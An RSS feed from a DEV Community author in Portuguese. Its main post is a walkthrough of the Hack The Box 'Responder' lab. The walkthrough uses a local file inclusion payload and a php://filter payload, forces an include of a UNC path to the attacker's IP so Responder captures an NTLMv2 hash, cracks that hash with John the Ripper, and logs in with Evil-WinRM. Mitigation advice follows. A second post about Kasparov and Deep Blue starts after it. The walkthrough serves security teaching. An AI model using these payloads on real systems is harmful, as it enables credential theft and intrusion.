<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Adriel Henrique</title>
    <description>The latest articles on DEV Community by Adriel Henrique (@adrielh024).</description>
    <link>https://dev.to/adrielh024</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1049868%2Fc480ff38-f466-4e7c-8638-83e02225581c.jpeg</url>
      <title>DEV Community: Adriel Henrique</title>
      <link>https://dev.to/adrielh024</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/adrielh024"/>
    <language>en</language>
    <item>
      <title>Resolvendo o HTB Responder: LFI, captura de hash NTLMv2 e acesso via WinRM</title>
      <dc:creator>Adriel Henrique</dc:creator>
      <pubDate>Thu, 24 Sep 2026 08:32:20 +0000</pubDate>
      <link>https://dev.to/adrielh024/resolvendo-o-htb-responder-lfi-captura-de-hash-ntlmv2-e-acesso-via-winrm-1jhn</link>
      <guid>https://dev.to/adrielh024/resolvendo-o-htb-responder-lfi-captura-de-hash-ntlmv2-e-acesso-via-winrm-1jhn</guid>
      <description>&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;Há alguns anos me interessei por hacking mas acabei saindo um pouco do tema para estudar a área de dados. Para retornar à área decidi fazer algumas trilhas da PortSwigger e do HTB com máquinas e CTFs mais simples.&lt;/p&gt;

&lt;p&gt;Dado esse contexto, decidi que conforme eu for refazendo a trilha introdutória do HTB irei fazer alguns tutoriais sobre algumas máquinas. Escolhi fazer primeiro a responder, pois ela apresenta um grau de complexidade bem mais alta que as anteriores. Isso ocorre principalmente devido a ela concatenar várias falhas de segurança para sua exploração.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fase de reconhecimento
&lt;/h2&gt;

&lt;p&gt;Na fase de reconhecimento, para esse contexto, podemos começar usando um scanner de rede como o nmap para verificar os serviços que estão sendo executados no alvo. Explicando de forma simples: seria como se ao chegarmos em um bairro, tentando conhecer a comunidade, decidimos bater de porta em porta para perguntar qual software "mora" naquela casa, caso ninguém responda é sinal de que ou fomos barrados por um firewall ou realmente não tem ninguém operando na porta de rede.&lt;/p&gt;

&lt;p&gt;Executando o nmap temos os seguintes resultados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Downloads]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.129.230.163
&lt;span class="go"&gt;Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 02:29 +0000
&lt;/span&gt;&lt;span class="gp"&gt;Stats: 0:00:49 elapsed;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0 hosts completed &lt;span class="o"&gt;(&lt;/span&gt;1 up&lt;span class="o"&gt;)&lt;/span&gt;, 1 undergoing Service Scan
&lt;span class="go"&gt;Service scan Timing: About 0.00% done
Nmap scan report for unika.htb (10.129.230.163)
Host is up (0.21s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: Unika
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Windows;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Aqui temos muitas informações - duas portas abertas, ambas rodando serviços em http, na porta 80 temos o apache que é um software de servidor web, o que comprova que tem uma pagina web e na porta 5985 temos o Microsoft HTTPAPI(WinRM).&lt;/p&gt;

&lt;p&gt;Existe um procedimento comum em máquinas HTB onde você para acessar uma aba específica é necessário acessar o arquivo (substitua o ip)&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Edite o arquivo&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/hosts

&lt;span class="c"&gt;# Adicione no final:&lt;/span&gt;
10.129.X.X   unika.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl6kri4s5z4ckhul1qr5z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl6kri4s5z4ckhul1qr5z.png" alt="Página inicial do Unika com seletor de idioma." width="800" height="412"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Verificando que na guia do site existe a possibilidade de trocar de idioma. Ao trocar o idioma, perceba que o link é alterado para: &lt;a href="http://unika.htb/index.php?page=french.html" rel="noopener noreferrer"&gt;http://unika.htb/index.php?page=french.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Isso é um indício forte que talvez exista nessa aplicação uma brecha de Local File Inclusion(LFI). Pois se o parâmetro &lt;em&gt;page=&lt;/em&gt; aceitar entradas arbitrárias poderemos introduzir aquivos maliciosamente.&lt;/p&gt;

&lt;p&gt;A forma mais simples de verificar a existência dessa falha é procurando pelo diretório hosts:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;verificado que podemos acessar informações do host, é possível confirmar a existência da falha&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcg2p7u215cjdh6djb6po.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcg2p7u215cjdh6djb6po.png" alt="Conteúdo do arquivo hosts do Windows exposto via LFI." width="800" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;podemos também testar se é possível "traduzir" um arquivo de código para base 64 usando a função filter.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fco4y4kca0voc6z7dg9x3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fco4y4kca0voc6z7dg9x3.png" alt="dados criptografados" width="800" height="275"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;desencriptando temos:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; 
&lt;span class="nv"&gt;$domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"unika.htb"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'SERVER_NAME'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;meta http-equiv="refresh" content="0;url=http://unika.htb/"&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'page'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"./english.html"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'page'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;o coração da falha está no "include($_GET['page']);" - ao não encontrar a  página, o servidor adiciona a página solicitada pelo usuário sem qualquer verificação. &lt;/p&gt;

&lt;p&gt;Isso comprova que existe uma falha muito severa de segurança: a aplicação permite que você adicione arquivos de forma arbitrária dentro do servidor, falha que se tornará vetor de ataque.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fase de Exploração
&lt;/h2&gt;

&lt;p&gt;Sabendo do problema podemos criar um servidor SMB falso através do Responder&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;──(kali㉿kali)-[~/Downloads]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; tun0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;podemos executar o seguinte código:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://unika.htb/index.php?page=//[seu IP]/payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;como o servidor permite você procurar por um arquivo qualquer, podemos "forçar" ele a procurar algo no nosso servidor falso.(arquivo payload).&lt;/p&gt;

&lt;p&gt;Ao incluir um caminho UNC (//IP/payload), o PHP no Windows tenta acessar um compartilhamento SMB no IP indicado. O Responder finge ser esse servidor SMB e captura o hash NTLMv2 enviado pela máquina vítima durante a tentativa de autenticação.&lt;/p&gt;

&lt;p&gt;Esse procedimento exige o uso de credenciais, que a máquina atacada envia.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[SMB] NTLMv2-SSP Client   : 10.129.95.234
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:9c44013f6f207b9c:4083607D154D17D099D9EA1F41C982D0:01010000000000000062A081254ADD013EE714100FDEE1890000000002000800490049004100390001001E00570049004E002D0031003800470054004A004F0054004A00460049004D0004003400570049004E002D0031003800470054004A004F0054004A00460049004D002E0049004900410039002E004C004F00430041004C000300140049004900410039002E004C004F00430041004C000500140049004900410039002E004C004F00430041004C00070008000062A081254ADD0106000400020000000800300030000000000000000100000000200000EFBCC3F63B0CA9D9B9F68403CE65BBCEC2D01F1F7D34637489B2D055E09A67190A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00360037000000000000000000 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Esse é o Hash da senha do administrador. O Hash pode ser definido matematicamente como a seguinte função:&lt;/p&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;H&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;T&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;→&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;T&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord mtight"&gt;′&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;



&lt;p&gt;O Hash,diferente da criptografia clássica, é uma função de mão única; não é criptografia reversível. A quebra é feita por tentativa e erro com wordlist&lt;/p&gt;

&lt;p&gt;Pense que o Hash é uma maquina, onde você coloca texto e ele comprime para um tamanho fixo e "bagunça" o texto para tornar ele ilegível para nós. Para "desvendar" esse mistério sobre o que esta escrito ali é necessário saber o texto original, pois o algoritmo de hash só produz uma saída para uma entrada. Dois textos distintos não produzem o mesmo hash, dois texto idênticos, sim.&lt;/p&gt;

&lt;p&gt;para essa tarefa podemos usar tanto o Hashcat como o John the Ripper&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Downloads]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;netntlmv2  &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;rockyou.txt aa    
&lt;span class="go"&gt;Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2026-09-24 02:28) 50.00g/s 204800p/s 204800c/s 204800C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos agora o usuário Administrator com a senha badminton&lt;/p&gt;

&lt;p&gt;Vamos agora usar essa senha para entrar pela porta da frente da máquina usando o Evil-WinRM pra explorar o serviço do WinRM(protocolo de gerenciamento remoto do windows)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Downloads]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; 10.129.230.163 &lt;span class="nt"&gt;-u&lt;/span&gt; Administrator &lt;span class="nt"&gt;-p&lt;/span&gt; badminton
&lt;span class="go"&gt;
Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

&lt;/span&gt;&lt;span class="gp"&gt;Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#&lt;/span&gt;Remote-path-completion
&lt;span class="go"&gt;
Info: Establishing connection to remote endpoint
&lt;/span&gt;&lt;span class="gp"&gt;*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;procurando pela flag , temos o que precisamos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;flag.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;


    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\mike\Desktop&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="n"&gt;Mode&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;-------------&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nt"&gt;-a&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;/10/2022&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;4:50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AM&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nx"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;flag.txt&lt;/span&gt;&lt;span class="w"&gt;



&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\mike\Desktop\flag.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ea81b7afddd03efaa0945333ed147fac&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Apesar de ser uma máquina antiga, ela é bem mais interessante que as máquinas que apareceram anteriormente. Ela concatena vários conceitos de forma mais complexa, podendo criar um degrau difícil de escalar em um primeiro momento. Porém é possível extrair muito dela - Servidores SMB e sua falsificação, a necessidade de higienizar as  entradas, uso de Whitelists para evitar ataques desse tipo e desenvolver senhas que não possam ser facilmente advinhadas e etc.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigação
&lt;/h2&gt;

&lt;p&gt;A exploração dessa máquina dependeu de três fatores encadeados: uma falha de LFI no PHP, a capacidade do servidor web iniciar conexões SMB de saída e o uso de uma senha fraca. Por isso, a mitigação também precisa atacar essas três frentes.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Na aplicação
&lt;/h3&gt;

&lt;p&gt;O erro central está em &lt;code&gt;include($_GET['page'])&lt;/code&gt;. A regra de ouro é: &lt;strong&gt;nunca passe input do usuário diretamente para &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;require&lt;/code&gt;, &lt;code&gt;fopen&lt;/code&gt; ou qualquer função que resolva caminhos de arquivo&lt;/strong&gt;.&lt;br&gt;
A correção mais simples e eficaz é usar uma whitelist.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. protocolos legados
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Protocolos legados são superfície de ataque.&lt;/strong&gt; SMB, LLMNR e NBT-NS continuam sendo explorados porque continuam habilitados por padrão. Desligar o que não é usado é uma das defesas mais subestimadas.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Senhas fracas
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Senhas fracas derrubam qualquer cadeia de defesa.&lt;/strong&gt; De nada adianta hardening se a senha do administrador é uma palavra de dicionário.&lt;/p&gt;

&lt;p&gt;por fim a resolução da maquina:&lt;br&gt;
Task 1&lt;br&gt;
&lt;em&gt;When visiting the web service using the IP address, what is the domain that we are being redirected to?&lt;/em&gt;&lt;br&gt;
unika.htb&lt;/p&gt;

&lt;p&gt;Task 2&lt;br&gt;
&lt;em&gt;Which scripting language is being used on the server to generate webpages?&lt;/em&gt;&lt;br&gt;
php&lt;/p&gt;

&lt;p&gt;Task 3&lt;br&gt;
&lt;em&gt;What is the name of the URL parameter which is used to load different language versions of the webpage?&lt;/em&gt;&lt;br&gt;
page&lt;/p&gt;

&lt;p&gt;Task 4&lt;br&gt;
_Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", _"mimikatz.exe"&lt;/p&gt;

&lt;p&gt;../../../../../../../../windows/system32/drivers/etc/hosts&lt;/p&gt;

&lt;p&gt;Task 5&lt;br&gt;
&lt;em&gt;Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "./../../../../../../../windows/system32/drivers/etc/hosts", "mimikatz.exe"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;//10.10.14.6/somefile&lt;/p&gt;

&lt;p&gt;Task 6&lt;br&gt;
&lt;em&gt;What does NTLM stand for?&lt;/em&gt;&lt;br&gt;
New Technology Lan Manager&lt;/p&gt;

&lt;p&gt;Task 7&lt;br&gt;
&lt;em&gt;Which flag do we use in the Responder utility to specify the network interface?&lt;/em&gt;&lt;br&gt;
-I&lt;/p&gt;

&lt;p&gt;Task 8&lt;br&gt;
&lt;em&gt;There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.&lt;/em&gt;&lt;br&gt;
John The Ripper&lt;/p&gt;

&lt;p&gt;Task 9&lt;br&gt;
&lt;em&gt;What is the password for the administrator user?&lt;/em&gt;&lt;br&gt;
badminton&lt;/p&gt;

&lt;p&gt;Task 10&lt;br&gt;
&lt;em&gt;We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?&lt;/em&gt;&lt;br&gt;
5985&lt;/p&gt;

&lt;p&gt;Task 11&lt;br&gt;
On which user's desktop is the flag located?&lt;br&gt;
mike&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Kasparov X Deep Blue - Uma Abordagem Computacional</title>
      <dc:creator>Adriel Henrique</dc:creator>
      <pubDate>Sat, 25 Jul 2026 18:33:04 +0000</pubDate>
      <link>https://dev.to/adrielh024/kasparov-x-deep-blue-uma-abordagem-computacional-30-anos-depois-4nmc</link>
      <guid>https://dev.to/adrielh024/kasparov-x-deep-blue-uma-abordagem-computacional-30-anos-depois-4nmc</guid>
      <description>&lt;p&gt;Em 1997, houve um confronto que tem uma importância grande para a humanidade, longe dos campos de batalha e dos discursos políticos, confronto onde um supercomputador enfrentava aquele que até o momento era considerado por muitos como o maior enxadrista da história, de um lado um computador de milhões de dólares e do outro uma mente genial. Kasparov contra Deep Blue além de ser um marco na história da computação também o era para a humanidade, pois ao seu desfecho o maior enxadrista do mundo já não era humano.&lt;/p&gt;

&lt;p&gt;De um lado do ringue, nascido na antiga União Soviética, se tornou campeão mundial aos 22 anos – até o momento era o mais jovem da história – ao vencer, em um confronto marcado por questões políticas, o também soviético Anatholy Karpov, conhecido por seu estilo posicional e por ser um grande estrategista. Kasparov que manteve seu título por quase 20 anos, conhecido por sua grande preparação de aberturas(formas de desenvolver as primeiras jogadas) e um estilo de jogo agressivo que buscava a “iniciativa”, que é quando após fazer um lance obriga o outro jogador responder e colocando-o na defensiva. &lt;/p&gt;

&lt;p&gt;Do outro, um supercomputador de milhões de dólares, criação do cientista da computação Feng-hsiung Hsu, que durante seu doutorado nos Estados Unidos passou a estudar engines de xadrez — programas especializados em jogar xadrez -. Após ingressar na IBM, dedicou-se ao projeto de construir uma máquina capaz de derrotar o campeão mundial &lt;/p&gt;

&lt;p&gt;O primeiro confronto ocorreu em 1996 e terminou com uma vitória convincente de Kasparov. O campeão aceitou uma revanche no ano seguinte, e é justamente esse segundo confronto — em especial a primeira das seis partidas — que será analisado neste texto.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Matemática por trás das Engines:
&lt;/h2&gt;

&lt;p&gt;O Xadrez é considerado um jogo computacionalmente intratável  e durante muito tempo se acreditou que computadores não poderiam jogar o jogo. Mas o que isso quer dizer? Para cada lance feito, o número de possibilidades de movimento cresce exponencialmente, chegando ao número de Shannon que tem um valor inimaginavelmente grande de 10^120 lances.&lt;/p&gt;

